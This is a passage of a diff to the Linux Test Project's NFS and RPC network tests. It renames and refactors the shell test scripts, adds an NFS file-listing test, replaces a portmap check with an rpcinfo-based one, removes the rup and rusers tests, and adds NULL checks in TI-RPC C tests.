--- a/testcases/network/nfs/nfs_stress/nfs05_make_tree.c
+++ b/testcases/network/nfs/nfs_stress/nfs05_make_tree.c
@@ -60,10 +60,10 @@
 static char *t_arg, *d_arg, *f_arg;
 
 static struct tst_option opts[] = {
-	{"t:", &t_arg, "-t x    Number of threads to generate, default: 8\n"},
-	{"d:", &d_arg, "-d x    Number of subdirs to generate, default: 100\n"},
-	{"f:", &f_arg, "-f x    Number of c files in each dir, default: 100\n"},
-	{NULL, NULL, NULL}
+	{"t:", &t_arg, "Number of threads to generate, default: 8"},
+	{"d:", &d_arg, "Number of subdirs to generate, default: 100"},
+	{"f:", &f_arg, "Number of c files in each dir, default: 100"},
+	{}
 };
 
 static void run_targets(const char *dirname, char *cfile, pid_t tid)
@@ -215,4 +215,5 @@
 	.options = opts,
 	.test_all = do_test,
 	.setup = setup,
+	.max_runtime = 300,
 };
diff --git a/testcases/network/nfs/nfs_stress/nfs06 b/testcases/network/nfs/nfs_stress/nfs06.sh
similarity index 99%
rename from testcases/network/nfs/nfs_stress/nfs06
rename to testcases/network/nfs/nfs_stress/nfs06.sh
index 3d3e843..d51f7dc 100755
--- a/testcases/network/nfs/nfs_stress/nfs06
+++ b/testcases/network/nfs/nfs_stress/nfs06.sh
@@ -10,7 +10,6 @@
 
 TST_TESTFUNC="do_test"
 TST_CLEANUP="do_cleanup"
-. nfs_lib.sh
 
 THREAD_NUM=${THREAD_NUM:-"2"}
 
@@ -42,4 +41,5 @@
 	tst_res TPASS "all fsstress processes completed on '$n' NFS mounts"
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs07.sh b/testcases/network/nfs/nfs_stress/nfs07.sh
new file mode 100755
index 0000000..34f60cb
--- /dev/null
+++ b/testcases/network/nfs/nfs_stress/nfs07.sh
@@ -0,0 +1,65 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz>
+#
+# DESCRIPTION: Create a large number of files and directories on NFS volume.
+# Then check whether they can be listed via NFS.
+
+FILE_COUNT=5000
+
+TST_OPTS="n:"
+TST_PARSE_ARGS="do_parse_args"
+TST_TESTFUNC="do_test"
+TST_SETUP="do_setup"
+TST_USAGE="show_usage"
+
+do_parse_args()
+{
+	case "$1" in
+	n) FILE_COUNT="$2";;
+	esac
+}
+
+show_usage()
+{
+	nfs_usage
+	echo "-n x    Create x files and x directories, default is 5000"
+}
+
+do_setup()
+{
+	nfs_setup
+
+	local rpath=$(nfs_get_remote_path | sed -e 's/%/%%/g')
+	local file_fmt="$rpath/file%1.0f"
+	local dir_fmt="$rpath/dir%1.0f"
+
+	tst_rhost_run -s -c "touch \$(seq -f \"$file_fmt\" -s ' ' $FILE_COUNT)"
+	tst_rhost_run -s -c "mkdir \$(seq -f \"$dir_fmt\" -s ' ' $FILE_COUNT)"
+}
+
+do_test()
+{
+	local count
+
+	# Pass the list of files through `sort -u` in case `ls` doesn't filter
+	# out potential duplicate filenames returned by buggy NFS
+	count=$(ls | grep '^file' | sort -u | wc -l)
+
+	if [ $count -ne $FILE_COUNT ]; then
+		tst_res TFAIL "Listing files failed: $count != $FILE_COUNT"
+		return
+	fi
+
+	count=$(ls | grep '^dir' | sort -u | wc -l)
+
+	if [ $count -ne $FILE_COUNT ]; then
+		tst_res TFAIL "Listing dirs failed: $count != $FILE_COUNT"
+		return
+	fi
+
+	tst_res TPASS "All files and directories were correctly listed"
+}
+
+. nfs_lib.sh
+tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs_lib.sh b/testcases/network/nfs/nfs_stress/nfs_lib.sh
index 1bd0577..af7d46a 100644
--- a/testcases/network/nfs/nfs_stress/nfs_lib.sh
+++ b/testcases/network/nfs/nfs_stress/nfs_lib.sh
@@ -1,5 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2016-2022
 # Copyright (c) 2015-2018 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 
@@ -19,25 +20,26 @@
 	case "$1" in
 	v) VERSION="$(echo $2 | tr ',' ' ')";;
 	t) SOCKET_TYPE="$(echo $2 | tr ',' ' ')";;
+	*) [ "$NFS_PARSE_ARGS_CALLER" ] && $NFS_PARSE_ARGS_CALLER "$@";;
 	esac
 }
 
-TST_OPTS="v:t:"
+NFS_PARSE_ARGS_CALLER="$TST_PARSE_ARGS"
+TST_OPTS="v:t:$TST_OPTS"
 TST_PARSE_ARGS=nfs_parse_args
 TST_USAGE=nfs_usage
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_ROOT=1
-TST_NEEDS_CMDS="$TST_NEEDS_CMDS mount exportfs"
+TST_NEEDS_CMDS="$TST_NEEDS_CMDS mount exportfs mount.nfs"
 TST_SETUP="${TST_SETUP:-nfs_setup}"
 TST_CLEANUP="${TST_CLEANUP:-nfs_cleanup}"
+TST_NEEDS_DRIVERS="nfsd"
 
 # When set and test is using netns ($TST_USE_NETNS set) NFS traffic will go
 # through lo interface instead of ltp_ns_veth* netns interfaces (useful for
 # debugging whether test failures are related to veth/netns).
 LTP_NFS_NETNS_USE_LO=${LTP_NFS_NETNS_USE_LO:-}
 
-. tst_net.sh
-
 get_socket_type()
 {
 	local t
@@ -51,6 +53,19 @@
 	done
 }
 
+nfs_get_remote_path()
+{
+	local v
+	local type=$(get_socket_type ${2:-0})
+
+	for v in $VERSION; do
+		break;
+	done
+
+	v=${1:-$v}
+	echo "$TST_TMPDIR/$v/$type"
+}
+
 nfs_server_udp_enabled()
 {
 	local config f
@@ -63,19 +78,30 @@
 
 nfs_setup_server()
 {
-	local export_cmd="exportfs -i -o fsid=$$,no_root_squash,rw *:$remote_dir"
 
-	if ! tst_rhost_run -c "test -d $remote_dir"; then
-		tst_rhost_run -s -c "mkdir -p $remote_dir; $export_cmd"
+	local fsid="$1"
+	local export_cmd="exportfs -i -o fsid=$fsid,no_root_squash,rw *:$remote_dir"
+
+	[ -z "$fsid" ] && tst_brk TBROK "empty fsid"
+
+	if tst_net_use_netns; then
+		if ! test -d $remote_dir; then
+			mkdir -p $remote_dir; $export_cmd
+		fi
+	else
+		if ! tst_rhost_run -c "test -d $remote_dir"; then
+			tst_rhost_run -s -c "mkdir -p $remote_dir; $export_cmd"
+		fi
 	fi
 }
 
 nfs_mount()
 {
+	local opts="$1"
 	local host_type=rhost
 	local mount_dir
 
-	[ -n "$LTP_NETNS" ] && host_type=
+	tst_net_use_netns && host_type=
 
 	if [ $TST_IPV6 ]; then
 		mount_dir="[$(tst_ipaddr $host_type)]:$remote_dir"
@@ -83,37 +109,50 @@
 		mount_dir="$(tst_ipaddr $host_type):$remote_dir"
 	fi
 
-	local mnt_cmd="mount -t nfs $opts $mount_dir $local_dir"
+	local mnt_cmd="mount -v -t nfs $opts $mount_dir $local_dir"
 
 	tst_res TINFO "Mounting NFS: $mnt_cmd"
-	if [ -n "$LTP_NETNS" ] && [ -z "$LTP_NFS_NETNS_USE_LO" ]; then
-		tst_rhost_run -c "$mnt_cmd"
+	if tst_net_use_netns && [ -z "$LTP_NFS_NETNS_USE_LO" ]; then
+		tst_rhost_run -c "$mnt_cmd" > mount.log
 	else
-		$mnt_cmd > /dev/null
+		$mnt_cmd > mount.log
 	fi
 
 	if [ $? -ne 0 ]; then
+		cat mount.log
+
 		if [ "$type" = "udp" -o "$type" = "udp6" ] && tst_kvcmp -ge 5.6; then
 			tst_brk TCONF "UDP support disabled with the kernel config NFS_DISABLE_UDP_SUPPORT?"
 		fi
+
+		if grep -iq "Protocol not supported" mount.log; then
+			tst_brk TCONF "Protocol not supported"
+		fi
+
 		tst_brk TBROK "mount command failed"
 	fi
 }
 
 nfs_setup()
 {
-	# Check if current filesystem is NFS
+	local i
+	local type
+	local n=0
+	local local_dir
+	local remote_dir
+	local mount_dir
+
 	if [ "$(stat -f . | grep "Type: nfs")" ]; then
 		tst_brk TCONF "Cannot run nfs-stress test on mounted NFS"
 	fi
 
-	local i
-	local type
-	local n=0
-	local opts
-	local local_dir
-	local remote_dir
-	local mount_dir
+	if tst_cmd_available pgrep; then
+		for i in rpc.mountd rpc.statd; do
+			pgrep $i > /dev/null || tst_brk TCONF "$i not running"
+		done
+	fi
+
+	tst_res TINFO "$(mount.nfs -V)"
 
 	for i in $VERSION; do
 		type=$(get_socket_type $n)
@@ -127,10 +166,9 @@
 		remote_dir="$TST_TMPDIR/$i/$type"
 		mkdir -p $local_dir
 
-		nfs_setup_server
+		nfs_setup_server $(($$ + n))
 
-		opts="-o proto=$type,vers=$i"
-		nfs_mount
+		nfs_mount "-o proto=$type,vers=$i"
 
 		n=$(( n + 1 ))
 	done
@@ -166,3 +204,5 @@
 		n=$(( n + 1 ))
 	done
 }
+
+. tst_net.sh
diff --git a/testcases/network/nfs/nfslock01/Makefile b/testcases/network/nfs/nfslock01/Makefile
index 978749a..32dbbba 100644
--- a/testcases/network/nfs/nfslock01/Makefile
+++ b/testcases/network/nfs/nfslock01/Makefile
@@ -8,7 +8,7 @@
 
 FILTER_OUT_MAKE_TARGETS		:= nfs_flock_func
 
-INSTALL_TARGETS			:= nfslock01
+INSTALL_TARGETS			:= *.sh
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
 
diff --git a/testcases/network/nfs/nfslock01/nfslock01 b/testcases/network/nfs/nfslock01/nfslock01.sh
similarity index 99%
rename from testcases/network/nfs/nfslock01/nfslock01
rename to testcases/network/nfs/nfslock01/nfslock01.sh
index ee994eb..b356b48 100755
--- a/testcases/network/nfs/nfslock01/nfslock01
+++ b/testcases/network/nfs/nfslock01/nfslock01.sh
@@ -12,8 +12,6 @@
 TST_SETUP="do_setup"
 TST_TESTFUNC="do_test"
 
-. nfs_lib.sh
-
 LUSER=${LUSER:=root}
 
 do_setup()
@@ -62,4 +60,5 @@
 	fi
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfsstat01/Makefile b/testcases/network/nfs/nfsstat01/Makefile
index 6c6c4fd..7ebeec1 100644
--- a/testcases/network/nfs/nfsstat01/Makefile
+++ b/testcases/network/nfs/nfsstat01/Makefile
@@ -6,8 +6,6 @@
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-INSTALL_TARGETS		:= nfsstat01
-
-MAKE_TARGETS		:=
+INSTALL_TARGETS		:= *.sh
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/nfs/nfsstat01/nfsstat01 b/testcases/network/nfs/nfsstat01/nfsstat01.sh
similarity index 97%
rename from testcases/network/nfs/nfsstat01/nfsstat01
rename to testcases/network/nfs/nfsstat01/nfsstat01.sh
index b71129f..6589c09 100755
--- a/testcases/network/nfs/nfsstat01/nfsstat01
+++ b/testcases/network/nfs/nfsstat01/nfsstat01.sh
@@ -6,8 +6,6 @@
 TST_TESTFUNC="do_test"
 TST_NEEDS_CMDS="nfsstat"
 
-. nfs_lib.sh
-
 get_calls()
 {
 	local name=$1
@@ -17,7 +15,7 @@
 	local opt=
 	[ "$name" = "rpc" ] && opt="r" || opt="n"
 
-	if [ -n "$LTP_NETNS" -o "$nfs_f" = "nfs" ]; then
+	if tst_net_use_netns || [ "$nfs_f" = "nfs" ]; then
 		calls="$(grep $name /proc/net/rpc/$nfs_f | cut -d' ' -f$field)"
 		ROD nfsstat -c$opt | grep -q "$calls"
 		echo "$calls"
@@ -93,4 +91,5 @@
 	fi
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfsv4/locks/locktests.c b/testcases/network/nfsv4/locks/locktests.c
index d2c766b..54faca3 100644
--- a/testcases/network/nfsv4/locks/locktests.c
+++ b/testcases/network/nfsv4/locks/locktests.c
@@ -580,7 +580,7 @@
 	char dbg[16];
 #endif
 	struct flock request;
-	struct s_test tLock;
+	struct s_test tLock = { 0 };
 	enum state_t state;
 	int offset;
 	/* A test sentence written in the file */
diff --git a/testcases/network/packet/fanout01.c b/testcases/network/packet/fanout01.c
index 5067d83..0aad332 100644
--- a/testcases/network/packet/fanout01.c
+++ b/testcases/network/packet/fanout01.c
@@ -106,6 +106,7 @@
 	.test_all = run,
 	.cleanup = cleanup,
 	.needs_root = 1,
+	.max_runtime = 180,
 	.tags = (const struct tst_tag[]) {
 		{"CVE", "2017-15649"},
 		{"linux-git", "4971613c1639"},
diff --git a/testcases/network/rpc/Makefile b/testcases/network/rpc/Makefile
index 4ef4a45..6ecb1a6 100644
--- a/testcases/network/rpc/Makefile
+++ b/testcases/network/rpc/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/rpc test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/rpc/basic_tests/rpc01/rpc01.sh b/testcases/network/rpc/basic_tests/rpc01/rpc01.sh
index 9ca5daa..b803e43 100755
--- a/testcases/network/rpc/basic_tests/rpc01/rpc01.sh
+++ b/testcases/network/rpc/basic_tests/rpc01/rpc01.sh
@@ -7,7 +7,6 @@
 TST_SETUP=do_setup
 TST_CLEANUP=do_cleanup
 TST_NEEDS_CMDS="pkill rpcinfo"
-. rpc_lib.sh
 
 NUMLOOPS=${NUMLOOPS:-3}
 DATAFILES="${DATAFILES:-file.1 file.2}"
@@ -19,7 +18,7 @@
 
 do_setup()
 {
-	check_portmap_rpcbind
+	check_rpc
 
 	tst_res TINFO "start rpc_server"
 	ROD rpc_server
@@ -45,4 +44,5 @@
 	done
 }
 
+. rpc_lib.sh
 tst_run
diff --git a/testcases/network/rpc/basic_tests/rpc_lib.sh b/testcases/network/rpc/basic_tests/rpc_lib.sh
index c7c8687..28b675f 100644
--- a/testcases/network/rpc/basic_tests/rpc_lib.sh
+++ b/testcases/network/rpc/basic_tests/rpc_lib.sh
@@ -1,15 +1,22 @@
 #!/bin/sh
-# Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2020-2022 Petr Vorel <pvorel@suse.cz>
+
+TST_NEEDS_CMDS="rpcinfo $TST_NEEDS_CMDS"
+
+check_rpc()
+{
+	local services
+
+	tst_res TINFO "check registered RPC with rpcinfo"
+
+	services=$(rpcinfo -p)
+
+	if [ $? -ne 0 ] || ! echo "$services" | grep -q '[0-9]'; then
+		tst_brk TCONF "no RPC services, is rpcbind/portmap running?"
+	fi
+
+	tst_res TINFO "registered RPC:"
+	echo "$services"
+}
 
 . tst_net.sh
-
-check_portmap_rpcbind()
-{
-	if pgrep portmap > /dev/null; then
-		PORTMAPPER="portmap"
-	else
-		pgrep rpcbind > /dev/null && PORTMAPPER="rpcbind" || \
-			tst_brk TCONF "portmap or rpcbind is not running"
-	fi
-	tst_res TINFO "using $PORTMAPPER"
-}
diff --git a/testcases/network/rpc/basic_tests/rpcinfo/Makefile b/testcases/network/rpc/basic_tests/rpcinfo/Makefile
index 6b84403..8a8a114 100644
--- a/testcases/network/rpc/basic_tests/rpcinfo/Makefile
+++ b/testcases/network/rpc/basic_tests/rpcinfo/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= rpcinfo01.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh b/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh
index 811f79e..723db3d 100755
--- a/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh
+++ b/testcases/network/rpc/basic_tests/rpcinfo/rpcinfo01.sh
@@ -7,11 +7,10 @@
 TST_SETUP=do_setup
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="rpcinfo wc"
-. rpc_lib.sh
 
 do_setup()
 {
-	check_portmap_rpcbind
+	check_rpc
 
 	# Create file with 1 tcp and 1 udp line. Use for variable assignments.
 	rpcinfo -p $(tst_ipaddr) | grep tcp | sed -n 2p > rpc_out
@@ -53,4 +52,5 @@
 	EXPECT_RHOST_FAIL rpcinfo -u $thost 100000 5
 }
 
+. rpc_lib.sh
 tst_run
diff --git a/testcases/network/rpc/basic_tests/rup/Makefile b/testcases/network/rpc/basic_tests/rup/Makefile
deleted file mode 100644
index a4dee68..0000000
--- a/testcases/network/rpc/basic_tests/rup/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    network/rpc/basic_tests/rup test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= rup01.sh
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/basic_tests/rup/rup01.sh b/testcases/network/rpc/basic_tests/rup/rup01.sh
deleted file mode 100755
index 44f0e73..0000000
--- a/testcases/network/rpc/basic_tests/rup/rup01.sh
+++ /dev/null
@@ -1,50 +0,0 @@
-#!/bin/sh
-# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2000
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-
-TCID="rup01"
-TST_TOTAL=7
-
-TST_USE_LEGACY_API=1
-. tst_net.sh
-
-do_setup()
-{
-	tst_resm TINFO "Checking for rstatd on $(tst_ipaddr)"
-	rpcinfo -u $(tst_ipaddr) rstatd 3 > /dev/null 2>&1 || \
-		tst_brkm TCONF "rstatd is inactive on $(tst_ipaddr)"
-}
-
-do_test()
-{
-	tst_resm TINFO "Test rup with options set"
-
-	EXPECT_RHOST_PASS rup $(tst_ipaddr)
-
-	local opts="-d -h -l -t"
-	for opt in $opts; do
-		EXPECT_RHOST_PASS rup $opt $(tst_ipaddr)
-	done
-
-	tst_resm TINFO "Test rup with bad options"
-	EXPECT_RHOST_FAIL rup bogushost
-	EXPECT_RHOST_FAIL rup -bogusflag $(tst_ipaddr)
-}
-
-do_setup
-do_test
-
-tst_exit
diff --git a/testcases/network/rpc/basic_tests/rusers/Makefile b/testcases/network/rpc/basic_tests/rusers/Makefile
deleted file mode 100644
index b5f69f5..0000000
--- a/testcases/network/rpc/basic_tests/rusers/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    network/rpc/basic_tests/rusers01.sh test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= rusers01.sh
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/rpc/basic_tests/rusers/rusers01.sh b/testcases/network/rpc/basic_tests/rusers/rusers01.sh
deleted file mode 100755
index 554bfa0..0000000
--- a/testcases/network/rpc/basic_tests/rusers/rusers01.sh
+++ /dev/null
@@ -1,50 +0,0 @@
-#!/bin/sh
-# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2000
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-
-TCID="rusers01"
-TST_TOTAL=5
-
-TST_USE_LEGACY_API=1
-. tst_net.sh
-
-do_setup()
-{
-	tst_resm TINFO "Checking for rusersd on $(tst_ipaddr)"
-	rpcinfo -u $(tst_ipaddr) rusersd > /dev/null 2>&1 || \
-		tst_brkm TCONF "rusersd is inactive on $(tst_ipaddr)"
-}
-
-do_test()
-{
-	tst_resm TINFO "Test rusers with options set"
-
-	EXPECT_RHOST_PASS rusers $(tst_ipaddr)
-
-	local opts="-a -l"
-	for opt in $opts; do
-		EXPECT_RHOST_PASS rusers $opt $(tst_ipaddr)
-	done
-
-	tst_resm TINFO "Test rusers with bad options"
-	EXPECT_RHOST_FAIL rusers bogushost
-	EXPECT_RHOST_FAIL rusers -bogusflag $(tst_ipaddr)
-}
-
-do_setup
-do_test
-
-tst_exit
diff --git a/testcases/network/rpc/rpc-tirpc/Makefile b/testcases/network/rpc/rpc-tirpc/Makefile
index 2006616..d2e1318 100644
--- a/testcases/network/rpc/rpc-tirpc/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/Makefile
@@ -1,20 +1,5 @@
-#
-#    Copyright (C) 2014, Oracle and/or its affiliates. All Rights Reserved.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2014, Oracle and/or its affiliates. All Rights Reserved.
 
 top_srcdir		?= ../../../..
 
@@ -22,6 +7,4 @@
 
 INSTALL_TARGETS		:= rpc_test.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/network/rpc/rpc-tirpc/rpc_test.sh b/testcases/network/rpc/rpc-tirpc/rpc_test.sh
index ffb5876..cadae55 100755
--- a/testcases/network/rpc/rpc-tirpc/rpc_test.sh
+++ b/testcases/network/rpc/rpc-tirpc/rpc_test.sh
@@ -17,7 +17,6 @@
 TST_CLEANUP=cleanup
 TST_PARSE_ARGS=rpc_parse_args
 TST_NEEDS_CMDS="pkill rpcinfo"
-. rpc_lib.sh
 
 usage()
 {
@@ -45,7 +44,7 @@
 
 setup()
 {
-	check_portmap_rpcbind
+	check_rpc
 
 	if [ -n "$SERVER" ]; then
 		CLEANER="rpc_cleaner"
@@ -83,7 +82,7 @@
 
 		for i in $(seq 1 10); do
 			rpcinfo -p localhost | grep -q $PROGNUMNOSVC && break
-			[ "$i" -eq 30 ] && tst_brk TBROK "server not registered"
+			[ "$i" -eq 10 ] && tst_brk TBROK "server not registered"
 			tst_sleep 100ms
 		done
 	fi
@@ -91,4 +90,5 @@
 	EXPECT_RHOST_PASS $CLIENT $(tst_ipaddr) $PROGNUMNOSVC $CLIENT_EXTRA_OPTS
 }
 
+. rpc_lib.sh
 tst_run
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile b/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile
index 49ec2a5..26d9166 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/Makefile
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (C) 2014, Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
 
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy.c
index 60b96ce..22e5608 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy.c
@@ -47,6 +47,10 @@
 	//First of all, create a server
 	svcr = svcfd_create(fd, 0, 0);
 
+	//check returned value
+	if (svcr == NULL)
+		return test_status;
+
 	//Then call destroy macro
 	svc_destroy(svcr);
 
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy_stress.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy_stress.c
index ecd1453..28fa2b1 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy_stress.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svc_destroy/rpc_svc_destroy_stress.c
@@ -56,6 +56,10 @@
 	for (i = 0; i < nbCall; i++) {
 		svcr = svcfd_create(fd, 0, 0);
 
+		//check returned value
+		if (svcr == NULL)
+			continue;
+
 		//Then call destroy macro
 		svc_destroy(svcr);
 
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcfd_create/rpc_svcfd_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcfd_create/rpc_svcfd_create.c
index 95c5e47..f0d89ba 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcfd_create/rpc_svcfd_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcfd_create/rpc_svcfd_create.c
@@ -48,7 +48,7 @@
 	svcr = svcfd_create(fd, 0, 0);
 
 	//check returned value
-	test_status = ((SVCXPRT *) svcr != NULL) ? 0 : 1;
+	test_status = (svcr != NULL) ? 0 : 1;
 
 	//This last printf gives the result status to the tests suite
 	//normally should be 0: test has passed or 1: test has failed
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcudp_bufcreate/rpc_svcudp_bufcreate.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcudp_bufcreate/rpc_svcudp_bufcreate.c
index 24f7142..9a77d71 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcudp_bufcreate/rpc_svcudp_bufcreate.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_createdestroy_svcudp_bufcreate/rpc_svcudp_bufcreate.c
@@ -56,7 +56,7 @@
 	svcr = svcudp_bufcreate(sock, 1500, 1500);
 
 	//check returned value
-	test_status = ((SVCXPRT *) svcr != NULL) ? 0 : 1;
+	test_status = (svcr != NULL) ? 0 : 1;
 
 	//clean up
 	svc_destroy(svcr);
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_register/rpc_xprt_register.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_register/rpc_xprt_register.c
index da3b930..b10a1ce 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_register/rpc_xprt_register.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_register/rpc_xprt_register.c
@@ -49,6 +49,10 @@
 	//create a server
